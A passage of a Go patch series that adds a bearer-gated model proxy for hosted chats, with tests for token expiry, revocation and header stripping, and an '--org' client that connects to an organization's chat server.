time.Time) string { + if t.rows == nil { + t.rows, t.current = map[string]*bearerRow{}, map[string]string{} + } + t.revokeLocked(session) + for hash, row := range t.rows { + if row.revoked || !now.Before(row.expires) { + delete(t.rows, hash) + } + } + var raw [32]byte + // crypto/rand does not return an error on a supported platform; it stops + // the program rather than hand back bytes that are not random. + _, _ = rand.Read(raw[:]) + token := mintedBearerPrefix + base64.RawURLEncoding.EncodeToString(raw[:]) + hash := bearerHash(token) + t.rows[hash] = &bearerRow{session: session, person: person, expires: now.Add(mintedBearerTTL)} + t.current[session] = hash + return token +} + +// ensure answers whether the chat has a live bearer. It mints one only when +// none is live, and says so (minted), because a new bearer is the one moment +// the chat's host must be told. mine is false when a live bearer belongs to +// another person: nothing is minted then, because minting would end the +// owner's bearer, and a person who is not the owner must never be able to cost +// the owner their model access by naming their chat. +func (t *bearerTable) ensure(session, person string, now time.Time) (token string, minted, mine bool) { + t.mu.Lock() + defer t.mu.Unlock() + if hash, ok := t.current[session]; ok { + if row := t.rows[hash]; row != nil && !row.revoked && now.Before(row.expires) { + return "", false, row.person == person + } + } + return t.mintLocked(session, person, now), true, true +} + +// lookup fails closed: an unknown, expired or revoked token gets no row. +func (t *bearerTable) lookup(token string, now time.Time) (bearerRow, bool) { + if !strings.HasPrefix(token, mintedBearerPrefix) { + return bearerRow{}, false + } + t.mu.Lock() + defer t.mu.Unlock() + row := t.rows[bearerHash(token)] + if row == nil || row.revoked || !now.Before(row.expires) { + return bearerRow{}, false + } + return *row, true +} + +func (t *bearerTable) revokeLocked(session string) { + if hash, ok := t.current[session]; ok { + if row := t.rows[hash]; row != nil { + row.revoked = true + } + delete(t.current, session) + } +} + +// revokeFor ends a chat's bearer on behalf of a person. A bearer that belongs +// to someone else is left alone, so naming another person's chat in a stop or +// a delete (which the chat's host answers as "no such chat") also costs its +// owner nothing here. +func (t *bearerTable) revokeFor(session, person string) { + t.mu.Lock() + defer t.mu.Unlock() + if hash, ok := t.current[session]; ok { + if row := t.rows[hash]; row != nil && row.person != person { + return + } + } + t.revokeLocked(session) +} + +// revokeToken ends one specific token, but only while it is still the chat's +// current one: a push that failed must not end a newer bearer that another +// attach has minted since. +func (t *bearerTable) revokeToken(session, token string) { + t.mu.Lock() + defer t.mu.Unlock() + if hash, ok := t.current[session]; ok && hash == bearerHash(token) { + t.revokeLocked(session) + } +} + +// modelPath says a request is a chat's model call. It is false whenever the +// hosted setting is off, so a server that never set it answers /v1/model/ as +// it answers any other unknown path (contract C8). +func (h *Handler) modelPath(r *http.Request) bool { + hc := h.config.Hosted + return hc != nil && hc.state != nil && strings.HasPrefix(r.URL.Path, modelPrefix) +} + +// modelRefuse writes one of the proxy's sentences with nothing else: no +// request id, no factory facts, because the caller is a chat that proved +// nothing about itself and learns only the sentence. +func modelRefuse(w http.ResponseWriter, status int, words string) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _, _ = io.WriteString(w, `{"error":"`+words+`"}`+"\n") +} + +// modelProxy forwards one chat's model call to the configured upstream. THE +// MINTED BEARER IS THE ONLY GATE ON THIS PATH: it runs before the organization +// sign-in on purpose, because a chat has no sign-in, and an organization +// credential is never accepted here, so a person's own sign-in cannot be used +// to spend the model through a chat's address. +func (h *Handler) modelProxy(w http.ResponseWriter, r *http.Request) { + hs := h.config.Hosted.state + token := bearer(r) + if _, ok := hs.bearers.lookup(token, h.clock()); !ok { + w.Header().Set("WWW-Authenticate", `Bearer realm="model"`) + modelRefuse(w, http.StatusUnauthorized, modelEnded) + return + } + if r.Method != http.MethodGet && r.Method != http.MethodPost { + w.Header().Set("Allow", "GET, POST") + modelRefuse(w, http.StatusMethodNotAllowed, modelMethod) + return + } + // This runs before the mux's own path cleaning, so a path that climbs out + // of the upstream's base address is refused here: the upstream's base + // holds the model's routes, and nothing above it is a chat's to reach. + rest := strings.TrimPrefix(r.URL.Path, modelPrefix) + if strings.ContainsAny(rest, "\\\x00") || rest != "" && path.Clean("/"+rest) != "/"+strings.TrimSuffix(rest, "/") { + modelRefuse(w, http.StatusNotFound, modelNoSuchPlace) + return + } + if r.ContentLength > modelRequestCap { + modelRefuse(w, http.StatusRequestEntityTooLarge, modelTooLarge) + return + } + r.Body = http.MaxBytesReader(w, r.Body, modelRequestCap) + (&httputil.ReverseProxy{ + Rewrite: func(pr *httputil.ProxyRequest) { + pr.Out.URL.Path = "/" + rest + pr.Out.URL.RawPath = "" + // SetURL points the request at the upstream and its Host at the + // upstream's too, joining the upstream's base path to ours. + pr.SetURL(hs.upstream) + hostedStripIdentity(pr.Out.Header) + if hs.upstreamKey != "" { + pr.Out.Header.Set("Authorization", "Bearer "+hs.upstreamKey) + } + }, + // A model's reply streams as server-sent events; a negative interval + // flushes after every write, so the first token is not held back. + FlushInterval: -1, + Transport: hs.modelTransport, + ErrorLog: log.New(io.Discard, "", 0), + ErrorHandler: func(w http.ResponseWriter, _ *http.Request, _ error) { + modelRefuse(w, http.StatusBadGateway, modelNotAnswer) + }, + }).ServeHTTP(w, r) +} + +// hostedStripIdentity removes from an outbound request everything that names +// who is asking or how they arrived: the caller's credentials, every +// forwarding header, and every header this server's own protocol uses for +// identity. Nothing of a person may reach a host this server forwards to. +func hostedStripIdentity(header http.Header) { + for key := range header { + lower := strings.ToLower(key) + switch { + case strings.HasPrefix(lower, "x-codeaf-"), strings.HasPrefix(lower, "x-forwarded-"): + delete(header, key) + case lower == "authorization", lower == "proxy-authorization", lower == "cookie", + lower == "forwarded", lower == "x-real-ip", lower == "true-client-ip": + delete(header, key) + } + } +} diff --git a/internal/factory/serve/model_proxy_test.go b/internal/factory/serve/model_proxy_test.go new file mode 100644 index 0000000000..b438be9ac6 --- /dev/null +++ b/internal/factory/serve/model_proxy_test.go @@ -0,0 +1,221 @@ +package serve + +import ( + "bufio" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" +) + +// modelEndedBody is the whole of what a refused model call is told. +const modelEndedBody = `{"error":"This chat's model access has ended."}` + "\n" + +// bearerCall makes one model call as a chat would: no organization sign-in, +// only the bearer it was given, plus whatever hostile headers are supplied. +func (rg *hostedRig) bearerCall(method, target, token string, extra map[string]string) *httptest.ResponseRecorder { + header := map[string]string{"Authorization": "Bearer " + token} + for k, v := range extra { + header[k] = v + } + return rg.send("", method, target, map[string]string{"model": "m"}, header) +} + +// forbiddenToUpstream is what the model proxy must never pass on: the chat's +// own bearer and everything a client could use to name itself. +func forbiddenToUpstream() []string { + var out []string + for _, name := range forbiddenToHost { + if name != "Origin" { + out = append(out, name) + } + } + return out +} + +// A CHAT'S MODEL ACCESS LIVES AND DIES WITH THE CHAT: a minted bearer works, +// carrying the right path and query to the upstream and none of the caller's +// identity; ending the chat (stop or delete) ends the bearer; twelve hours end +// it too; and a bearer nobody issued, or a person's own sign-in, is refused +// with one sentence that says nothing else. +func TestC3_ModelBearerLifecycle(t *testing.T) { + rg := newHostedRig(t) + // A keyless upstream (the default rig) is sent no authorization at all. + keyless := rg.create(t, "santosh") + if w := rg.bearerCall("GET", "/v1/model/models", rg.host.tokenOf(keyless), nil); w.Code != 200 { + t.Fatalf("keyless call = %d %s", w.Code, w.Body) + } + if all := rg.up.requests(); len(all) != 1 || all[0].header.Get("Authorization") != "" { + t.Fatalf("a keyless upstream saw %+v", all) + } + + rg.configure(t, func(c *HostedConfig) { c.ModelUpstreamKey = "upstream-key-123" }) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + // The first, keyless chat was handed its own bearer too; this chat's host + // must have been given exactly this chat's bearer and the model address. + given := 0 + for _, push := range rg.host.pushList() { + if push.id != id { + continue + } + given++ + if push.url != rigModelURL || push.token != token { + t.Fatalf("the chat's host was given %+v", push) + } + } + if given != 1 { + t.Fatalf("the chat's host was given its model access %d times; want once", given) + } + + hostile := hostedClientHeaders() + w := rg.bearerCall("POST", "/v1/model/chat/completions?stream=true&x=a%20b", token, hostile) + if w.Code != 200 || w.Body.String() != `{"ok":true}` { + t.Fatalf("a model call = %d %s", w.Code, w.Body) + } + seen := rg.up.requests() + if len(seen) != 2 { + t.Fatalf("the upstream saw %d requests; want the keyless one and this one", len(seen)) + } + got := seen[1] + if got.method != "POST" || got.uri != "/api/v1/chat/completions?stream=true&x=a%20b" || !strings.Contains(got.body, `"model":"m"`) { + t.Fatalf("the upstream saw %s %s %q", got.method, got.uri, got.body) + } + if got.header.Get("Authorization") != "Bearer upstream-key-123" { + t.Fatalf("the upstream saw authorization %q; want the upstream's own key and not the chat's bearer", got.header.Get("Authorization")) + } + for _, name := range forbiddenToUpstream() { + if values := got.header.Values(name); len(values) != 0 { + t.Fatalf("the upstream saw %s: %v", name, values) + } + } + for name := range got.header { + if strings.HasPrefix(strings.ToLower(name), "x-codeaf-") { + t.Fatalf("the upstream saw %s", name) + } + } + if strings.Contains(strings.Join(got.header.Values("Authorization"), ""), token) { + t.Fatal("the chat's bearer reached the upstream") + } + if w := rg.bearerCall("GET", "/v1/model/models", token, nil); w.Code != 200 { + t.Fatalf("a GET = %d %s", w.Code, w.Body) + } else if all := rg.up.requests(); all[len(all)-1].uri != "/api/v1/models" { + t.Fatalf("a GET reached the upstream as %s", all[len(all)-1].uri) + } + + // Refusals are one sentence and carry nothing that tells their causes apart. + refused := func(what string, w *httptest.ResponseRecorder) { + t.Helper() + if w.Code != 401 || w.Body.String() != modelEndedBody || w.Header().Get("WWW-Authenticate") != `Bearer realm="model"` { + t.Fatalf("%s = %d %q (%v)", what, w.Code, w.Body, w.Header()) + } + } + refused("an unknown bearer", rg.bearerCall("GET", "/v1/model/models", "cmt_"+strings.Repeat("Q", 43), nil)) + refused("a malformed bearer", rg.bearerCall("GET", "/v1/model/models", "not-a-bearer", nil)) + refused("no bearer", rg.send("", "GET", "/v1/model/models", nil, nil)) + refused("a person's sign-in", rg.bearerCall("GET", "/v1/model/models", rg.tokens["santosh"], nil)) + refused("the operator's token", rg.bearerCall("GET", "/v1/model/models", "operator-secret", nil)) + refused("a refused method without a bearer", rg.send("", "PUT", "/v1/model/models", nil, nil)) + if w := rg.bearerCall("PUT", "/v1/model/models", token, nil); w.Code != 405 || w.Header().Get("Allow") != "GET, POST" { + t.Fatalf("a PUT with a good bearer = %d %v", w.Code, w.Header()) + } + + // Stopping the chat through the organization's own route ends the bearer. + if w := rg.bearerCall("GET", "/v1/model/models", token, nil); w.Code != 200 { + t.Fatalf("before the stop = %d %s", w.Code, w.Body) + } + before := len(rg.up.requests()) + if w := rg.send("santosh", "POST", "/v1/hosted/sessions/"+id+"/stop", nil, nil); w.Code != 204 { + t.Fatalf("stop = %d %s", w.Code, w.Body) + } + refused("a stopped chat's bearer", rg.bearerCall("GET", "/v1/model/models", token, nil)) + if len(rg.up.requests()) != before { + t.Fatal("a revoked bearer reached the upstream") + } + // A deleted chat's bearer is ended too. + doomed := rg.create(t, "santosh") + doomedToken := rg.host.tokenOf(doomed) + if w := rg.bearerCall("GET", "/v1/model/models", doomedToken, nil); w.Code != 200 { + t.Fatalf("before the delete = %d %s", w.Code, w.Body) + } + if w := rg.send("santosh", "DELETE", "/v1/hosted/sessions/"+doomed, nil, nil); w.Code != 204 { + t.Fatalf("delete = %d %s", w.Code, w.Body) + } + refused("a deleted chat's bearer", rg.bearerCall("GET", "/v1/model/models", doomedToken, nil)) + + // Twelve hours end a bearer, to the second. + aging := rg.create(t, "santosh") + agingToken := rg.host.tokenOf(aging) + rg.now = rg.now.Add(12*time.Hour - time.Second) + if w := rg.bearerCall("GET", "/v1/model/models", agingToken, nil); w.Code != 200 { + t.Fatalf("just inside twelve hours = %d %s", w.Code, w.Body) + } + rg.now = rg.now.Add(2 * time.Second) + refused("an expired bearer", rg.bearerCall("GET", "/v1/model/models", agingToken, nil)) +} + +// A MODEL'S REPLY ARRIVES AS IT IS WRITTEN: the first server-sent event reaches +// the caller while the upstream is still holding the rest, through the real +// handler, so a person watching a chat sees the first words, not all of them at +// the end. +func TestC3_ModelProxyStreams(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + release := make(chan struct{}) + rg.up.mu.Lock() + rg.up.handler = func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + _, _ = io.WriteString(w, "data: one\n\n") + w.(http.Flusher).Flush() + select { + case <-release: + case <-time.After(20 * time.Second): + } + _, _ = io.WriteString(w, "data: two\n\n") + w.(http.Flusher).Flush() + } + rg.up.mu.Unlock() + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + req, err := http.NewRequest("POST", srv.URL+"/v1/model/chat/completions", strings.NewReader(`{"stream":true}`)) + if err != nil { + t.Fatal(err) + } + req.Header.Set("Authorization", "Bearer "+token) + resp, err := http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + lines := make(chan string, 8) + go func() { + scan := bufio.NewScanner(resp.Body) + for scan.Scan() { + lines <- scan.Text() + } + close(lines) + }() + select { + case line := <-lines: + if line != "data: one" { + t.Fatalf("the first line was %q", line) + } + case <-time.After(5 * time.Second): + close(release) + t.Fatal("the first event did not arrive while the upstream was still writing: the reply is being held back") + } + close(release) + var rest []string + for line := range lines { + if line != "" { + rest = append(rest, line) + } + } + if len(rest) != 1 || rest[0] != "data: two" { + t.Fatalf("after the first event: %v", rest) + } +} diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index d3da5159ea..c8eb2e18f8 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -219,6 +219,11 @@ type Config struct { // Canvas runs canvas-core for the organization's canvases (`canvas // rpc`). Nil keeps no canvases: the /v1/canvases routes are left off. Canvas *canvasrpc.Sidecar + // Hosted turns on chats that run on the organization's own machine, with + // the /v1/hosted routes and the /v1/model address a hosted chat reaches + // its model through (hosted_proxy.go). Nil, the default, registers + // nothing and changes no path's answer. + Hosted *HostedConfig } // Handler keeps the seam and host identity together for every response. @@ -426,6 +431,7 @@ func New(seam factory.Seam, config Config) *Handler { h.orgSetupRoutes() h.chatRoutes() h.accessRoutes() + h.hostedRoutes() h.reconcileChatFolders() h.backfillChats() h.backfillSessions() @@ -542,6 +548,13 @@ func (h *Handler) Close() { func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { r = authRequest(h.withClient(r)) w.Header().Set("Cache-Control", "no-store") + // A hosted chat's model call proves itself with the bearer minted for it + // and has no sign-in, so it is answered before the sign-in below. False + // unless hosted chats are turned on, which leaves every path as it was. + if h.modelPath(r) { + h.modelProxy(w, r) + return + } if markPreMutation(r) { w.Header().Set(api.PhaseHeader, api.PhasePreMutation) } From fc1961d938037e700c43362595386dad07dac750 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:38 -0500 Subject: [PATCH 027/176] chat: codeaf chat --org opens a chat on the organization's server The thin client: the same surface as --at over a WebSocket to the organization server, the bearer only in a header, a chat picked or made for the person, plain sentences for every refusal. It advertises no client tools and drops the automation banner raiser, so nothing an engine sends makes this computer write a file, run a program or open an address. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/chatv3.go | 48 ++- cmd/codeaf/chatv3_org.go | 547 ++++++++++++++++++++++++ cmd/codeaf/chatv3_org_test.go | 776 ++++++++++++++++++++++++++++++++++ 3 files changed, 1367 insertions(+), 4 deletions(-) create mode 100644 cmd/codeaf/chatv3_org.go create mode 100644 cmd/codeaf/chatv3_org_test.go diff --git a/cmd/codeaf/chatv3.go b/cmd/codeaf/chatv3.go index 698d57cf4f..29b96088d3 100644 --- a/cmd/codeaf/chatv3.go +++ b/cmd/codeaf/chatv3.go @@ -101,6 +101,7 @@ func openChatV3(name string, args []string, pickSession bool) error { reasoning := flags.String("reasoning", "", "reasoning override: auto (inherit), low, medium, high, xhigh or max; off is an alias for auto") host := flags.String("host", "", "run the session on another machine over ssh: host, user@host, or host:path/to/project") at := flags.String("at", "", "reach a machine that has no ssh, by the name `codeaf serve` prints there: otter-lamp-42, or otter-lamp-42:path/to/project") + org := flags.String("org", "", "run the session on your organization's server: its address, such as https://org.example.com") // --no-host is the escape hatch off the local dial, and it means here // exactly what it means on `codeaf engine`: open this conversation in this // process and never look for a session host. It exists because a fallback @@ -151,9 +152,9 @@ func openChatV3(name string, args []string, pickSession bool) error { // the sessions there ARE, so naming one on the command line is the other // door, and nobody is watching a headless one. if pickSession { - return fmt.Errorf(`usage: codeaf resume [--model slug] [--reasoning level] [--host host[:path]] [--at name[:path]] [--no-host] [--no-compact] [--yolo [--max-hours n] [--max-cost n]] [--one-model] [--debug]`) + return fmt.Errorf(`usage: codeaf resume [--model slug] [--reasoning level] [--host host[:path]] [--at name[:path]] [--org https://host] [--no-host] [--no-compact] [--yolo [--max-hours n] [--max-cost n]] [--one-model] [--debug]`) } - return fmt.Errorf(`usage: codeaf chat [--model slug] [--reasoning level] [--session path] [--host host[:path]] [--at name[:path]] [--no-host] [--once "text"] [--no-compact] [--yolo [--max-hours n] [--max-cost n]] [--one-model] [--debug]`) + return fmt.Errorf(`usage: codeaf chat [--model slug] [--reasoning level] [--session path] [--host host[:path]] [--at name[:path]] [--org https://host] [--no-host] [--once "text"] [--no-compact] [--yolo [--max-hours n] [--max-cost n]] [--one-model] [--debug]`) } // --one-model is about THIS machine's settings rows, and over --host the // rows that answer are the far machine's (chatv3_host.go). A flag that @@ -185,6 +186,23 @@ func openChatV3(name string, args []string, pickSession bool) error { if strings.TrimSpace(*host) != "" && strings.TrimSpace(*at) != "" { return fmt.Errorf("--host reaches a machine over ssh and --at reaches one through the sync service: name one or the other, not both") } + // --org IS THE FOURTH WAY TO NAME WHERE THE CONVERSATION IS, and it refuses + // what --at refuses (chatv3_org.go's check), beside the --at refusals above + // and before anything is resolved on this machine. + if strings.TrimSpace(*org) != "" { + if err := (orgLaunch{ + target: strings.TrimSpace(*org), + noCompact: *noCompact, + yolo: *yolo, + budget: chatBudget(*maxHours, *maxCost).Set(), + oneModel: *oneModel, + noHost: *noHost, + host: *host, + at: *at, + }).check(); err != nil { + return err + } + } // A BUDGET IS A SENTENCE ABOUT AN UNATTENDED SESSION, so it is refused // rather than ignored on a session somebody is sitting in front of. What it @@ -197,7 +215,7 @@ func openChatV3(name string, args []string, pickSession bool) error { // cannot travel at all and each door says so in its own words // (chatv3_host.go's and chatv3_at.go's checks); two refusals for one flag // would send somebody to add --yolo and straight into the second one. - if budget := chatBudget(*maxHours, *maxCost); budget.Set() && !*yolo && strings.TrimSpace(*host) == "" && strings.TrimSpace(*at) == "" { + if budget := chatBudget(*maxHours, *maxCost); budget.Set() && !*yolo && strings.TrimSpace(*host) == "" && strings.TrimSpace(*at) == "" && strings.TrimSpace(*org) == "" { return fmt.Errorf("--max-hours and --max-cost bound a session that carries its own work on; say --yolo as well, or leave them off") } // A picker with nobody watching is not a picker. --once is the headless @@ -274,7 +292,29 @@ func openChatV3(name string, args []string, pickSession bool) error { return finishChatRestart(err, restart, "") } - // The fourth door, and the only one with no machine in it: this workspace's + // THE ORGANIZATION'S DOOR, and it forks beside --at for --at's reason: the + // conversation, its models, its keys and its folder are the far side's, and + // resolving this machine's would be answering a launch nobody asked for. It + // differs from --at only in what carries the frames (chatv3_org.go). + if address := strings.TrimSpace(*org); address != "" { + err := openChatV3Org(orgLaunch{ + target: address, + session: strings.TrimSpace(*file), + model: strings.TrimSpace(*model), + level: level, + once: strings.TrimSpace(*once), + pick: pickSession, + noCompact: *noCompact, + yolo: *yolo, + budget: chatBudget(*maxHours, *maxCost).Set(), + oneModel: *oneModel, + noHost: *noHost, + restart: restart, + }) + return finishChatRestart(err, restart, "") + } + + // The fifth door, and the only one with no machine in it: this workspace's // own session host, on a unix socket. It is the ordinary road for an // interactive launch — the work outlives this terminal and the next window // here joins the same conversation — and [v3HostRoad] names the launches diff --git a/cmd/codeaf/chatv3_org.go b/cmd/codeaf/chatv3_org.go new file mode 100644 index 0000000000..09eebb01dd --- /dev/null +++ b/cmd/codeaf/chatv3_org.go @@ -0,0 +1,547 @@ +package main + +// ── `codeaf chat --org https://org.example.com` ───────────────────────────── +// +// A way to reach a conversation that is not on this computer, and the first +// whose far end is an organization's server rather than a machine a person +// owns: +// +// laptop$ codeaf chat --org https://org.example.com +// [chat opens; the conversation, its commands and its folder are the +// organization server's, kept apart from every other person's] +// +// IT IS `--at`'S SIBLING AND DIFFERS ONLY IN THE CARRIER (chatv3_at.go). Where +// `--at` pairs a device through a relay and gets a tunnel, this one signs in +// with the token the organization gave this person and gets a WebSocket onto +// the server's `/v1/hosted/sessions//wire`. From the moment a byte pipe +// exists the two doors are the same code: the same hello, the same fleet, the +// same surface, assembled by the same functions. Anything that differed above +// the pipe would be a bug. +// +// THE PROMPT LAW, INHERITED FOR THE SAME REASON: everything that can fail with +// a sentence for the person happens before the surface takes the screen, on a +// plain terminal, in plain words — and none of those words is machinery. A +// person using a hosted chat is told " is unreachable.", never which +// process on which account the server could not start. +// +// THE FAR END IS LESS TRUSTED THAN A MACHINE THE PERSON OWNS, and the whole +// door is written from that sentence (contract C11): +// +// - NOTHING THE ENGINE SENDS CAUSES A WRITE, A PROGRAM OR AN OPEN HERE. The +// door advertises no client tools, so the engine has no way to ask this +// computer to do anything; it hands the surface no seam that raises a +// desktop banner in answer to what the engine says ([orgSurfaceOptions]); +// and every remaining local effect of the surface (opening a link, saving +// a file) waits for the person's own key or click. +// - THE BEARER GOES IN ONE PLACE, the Authorization header of the request, +// and in no URL, no log line and no error text ([orgDoor.say] cleans what +// a server echoes back). +// - AN ADDRESS THE SERVER NAMES IS NEVER FOLLOWED: a redirect is a refusal, +// because it would carry the bearer somewhere the person never typed. + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "os" + "regexp" + "strconv" + "strings" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/Agent-Field/codeaf/internal/tui3" + codeupdate "github.com/Agent-Field/codeaf/internal/update" +) + +// orgTokenEnv is where a person's sign-in token for the organization is read +// first. The second place is the token `codeaf attach` keeps. +const orgTokenEnv = "CODEAF_ORG_TOKEN" + +// orgCallWithin bounds every plain request this door makes before the surface +// opens: listing the person's chats, making a new one, and the WebSocket's own +// opening handshake. It is the longest a person waits to be told the server is +// not there. +const orgCallWithin = 15 * time.Second + +// orgReadLimit is the largest single message the wire accepts from the server. +// NetConn resets the limit to unlimited when it is made, so it is set after. +const orgReadLimit = 4 << 20 + +// orgSessionID is the shape of a hosted chat's name. A name the server sends +// back that is not this shape is never put in a path. +var orgSessionID = regexp.MustCompile(`^hs_[0-9a-f]{24}$`) + +// orgLaunch is one `--org` launch as the flag parser saw it. It has the shape +// of [atLaunch], because it is the same launch down a different pipe, plus the +// flags the shared parser checks for the other doors inline. +type orgLaunch struct { + // target is --org as typed: the organization server's address. + target string + // session is --session: the name of one hosted chat (hs_ and 24 hex). + session string + // model and level are --model and --reasoning, carried in the hello. + model string + level string + // once is --once: one message, printed, no terminal ownership. + once string + // pick is `codeaf resume`: the same surface, opened on the session picker. + pick bool + // noCompact, yolo and budget are refused rather than ignored, exactly as + // over --at: they are properties of a session that is built over there. + noCompact bool + yolo bool + budget bool + // oneModel and noHost are refused for the reasons --at refuses them. + oneModel bool + noHost bool + // host and at are the other two ways to reach a conversation, refused + // beside this one. + host string + at string + // restart is filled by the surface and read after this door has closed. + restart *codeupdate.Plan +} + +// orgHostName is the name this door calls the server by in every sentence a +// person reads: the host of the address, without its scheme or any port. +func orgHostName(target string) string { + raw := strings.TrimSpace(target) + if u, err := url.Parse(raw); err == nil && u.Hostname() != "" { + return u.Hostname() + } + if raw == "" { + return "your organization's server" + } + return raw +} + +// check refuses the flags this door cannot honour, in the words --at uses, +// because it is the same fact: the chat is built on the other side and a flag +// typed here has nowhere to land. +func (l orgLaunch) check() error { + where := orgHostName(l.target) + if strings.TrimSpace(l.host) != "" || strings.TrimSpace(l.at) != "" { + return errors.New("--org reaches your organization's server, and --host and --at each reach one machine: name one of them, not two") + } + if l.oneModel { + return fmt.Errorf("--one-model settles this machine's model rows; over --org the server answers them, so the two cannot be combined") + } + if l.noHost { + return fmt.Errorf("--no-host keeps a conversation in this process; over --org the conversation is on %s, so the two cannot be combined", where) + } + var named []string + if l.noCompact { + named = append(named, "--no-compact") + } + if l.yolo { + named = append(named, "--yolo") + } + if l.budget { + named = append(named, "--max-hours/--max-cost") + } + if len(named) == 0 { + return nil + } + return fmt.Errorf("%s cannot travel over --org: the chat is built on %s, so it cannot be set from here", + strings.Join(named, " and "), where) +} + +// ── the door: the server, the token, the chat ─────────────────────────────── + +// orgDoor is everything this door knows about the server before the surface +// opens: where it is, who the person is to it, and how to talk to it. +type orgDoor struct { + // base is the server's origin, scheme and host and port, with no path. + base string + // host is the name every sentence uses ([orgHostName]). + host string + // token is the person's sign-in. It is read ONLY by [orgDoor.authorize]. + token string + // http is the client for every plain request. It follows no redirect and + // uses no proxy: the server may be a loopback or private address, and the + // bearer must go only where the person typed. + http *http.Client + // say is where a warning from the server is shown, once, before the surface + // opens (stderr in the product). + say func(string) +} + +// newOrgDoor checks the address, finds the person's token and makes the client. +// +// THE ADDRESS RULE IS THE FACTORY'S: https anywhere, plain http only for this +// computer, because the bearer must not cross a network in the clear +// ([factoryURL] says what an origin is, [factoryLoopback] what "this computer" +// is — both are the factory's own, so one rule covers both doors). +func newOrgDoor(target string, say func(string)) (*orgDoor, error) { + base, err := factoryURL(target) + if err != nil { + return nil, fmt.Errorf("%q is not an organization address; use https://host", strings.TrimSpace(target)) + } + if strings.HasPrefix(base, "http://") && !factoryLoopback(base) { + return nil, fmt.Errorf("use https:// for %s: a sign-in must not cross a network in the clear", orgHostName(base)) + } + d := &orgDoor{base: base, host: orgHostName(base), say: say} + d.http = &http.Client{ + Timeout: orgCallWithin, + Transport: &http.Transport{Proxy: nil}, + CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }, + } + token, ok := orgToken(base) + if !ok { + return nil, d.signInSentence() + } + d.token = token + return d, nil +} + +// signInSentence is what a person is told when the server has no sign-in of +// theirs to go on, or did not accept the one it was given. +func (d *orgDoor) signInSentence() error { + return fmt.Errorf("Sign in to %s first: set %s, or run codeaf attach %s --token .", d.host, orgTokenEnv, d.base) +} + +// orgToken is the person's sign-in for the server at base: the environment +// first, then the token `codeaf attach` keeps, but only when that file names +// THE SAME ORIGIN. A token for one server is never sent to another. +func orgToken(base string) (string, bool) { + if token := strings.TrimSpace(env.Get(orgTokenEnv)); token != "" { + return token, true + } + attached, ok := readFactoryAttachment() + if !ok || strings.TrimSpace(attached.Token) == "" || !sameOrigin(attached.URL, base) { + return "", false + } + return strings.TrimSpace(attached.Token), true +} + +// sameOrigin is whether two origins have the same scheme, host and port, with +// the port a scheme implies counted as written. +func sameOrigin(a, b string) bool { + ua, errA := url.Parse(a) + ub, errB := url.Parse(b) + if errA != nil || errB != nil || ua.Hostname() == "" { + return false + } + return ua.Scheme == ub.Scheme && strings.EqualFold(ua.Hostname(), ub.Hostname()) && originPort(ua) == originPort(ub) +} + +func originPort(u *url.URL) string { + if port := u.Port(); port != "" { + return port + } + if u.Scheme == "https" { + return "443" + } + return "80" +} + +// authorize is the ONE place the bearer is put on a request. +func (d *orgDoor) authorize(header http.Header) { + header.Set("Authorization", "Bearer "+d.token) +} + +// clean is a sentence from the server with the bearer taken out, in case a +// server that echoes what it was sent echoes that too. +func (d *orgDoor) clean(sentence string) string { + if d.token != "" { + sentence = strings.ReplaceAll(sentence, d.token, "") + } + return strings.TrimSpace(sentence) +} + +// refusal is the sentence for a response that was not a success. The server's +// own {"error": "…"} sentence is shown as it wrote it, because it is already +// plain words; an answer with none (a proxy's page, an empty 401) gets one of +// ours, and a page is never printed. +func (d *orgDoor) refusal(status int, body []byte) error { + var said struct { + Error string `json:"error"` + } + if json.Unmarshal(body, &said) == nil { + if sentence := d.clean(said.Error); sentence != "" { + return errors.New(sentence) + } + } + if status == http.StatusUnauthorized || status == http.StatusForbidden { + return d.signInSentence() + } + return fmt.Errorf("%s could not answer (status %d).", d.host, status) +} + +func (d *orgDoor) unreachable() error { + return fmt.Errorf("%s is unreachable.", d.host) +} + +// call makes one request to the server and decodes a success into out. +func (d *orgDoor) call(ctx context.Context, method, path string, out any) error { + ctx, cancel := context.WithTimeout(ctx, orgCallWithin) + defer cancel() + req, err := http.NewRequestWithContext(ctx, method, d.base+path, nil) + if err != nil { + return d.unreachable() + } + d.authorize(req.Header) + req.Header.Set("Accept", "application/json") + resp, err := d.http.Do(req) + if err != nil { + // THE TRANSPORT'S OWN ERROR IS DROPPED: it names the address and a person + // needs one sentence, not a dial trace. + return d.unreachable() + } + defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + if resp.StatusCode < 200 || resp.StatusCode > 299 { + return d.refusal(resp.StatusCode, body) + } + if out == nil || len(strings.TrimSpace(string(body))) == 0 { + return nil + } + if err := json.Unmarshal(body, out); err != nil { + return fmt.Errorf("%s sent back something this program cannot read.", d.host) + } + return nil +} + +// orgTime is a time the server writes as RFC 3339 text or as Unix seconds; a +// value that is neither reads as the zero time rather than failing the list. +type orgTime struct{ time.Time } + +func (t *orgTime) UnmarshalJSON(data []byte) error { + text := strings.TrimSpace(string(data)) + if text == "" || text == "null" { + return nil + } + if unquoted, err := strconv.Unquote(text); err == nil { + if parsed, err := time.Parse(time.RFC3339Nano, unquoted); err == nil { + t.Time = parsed + } + return nil + } + if seconds, err := strconv.ParseFloat(text, 64); err == nil { + t.Time = time.Unix(int64(seconds), 0) + } + return nil +} + +// orgSession is one hosted chat as the server lists 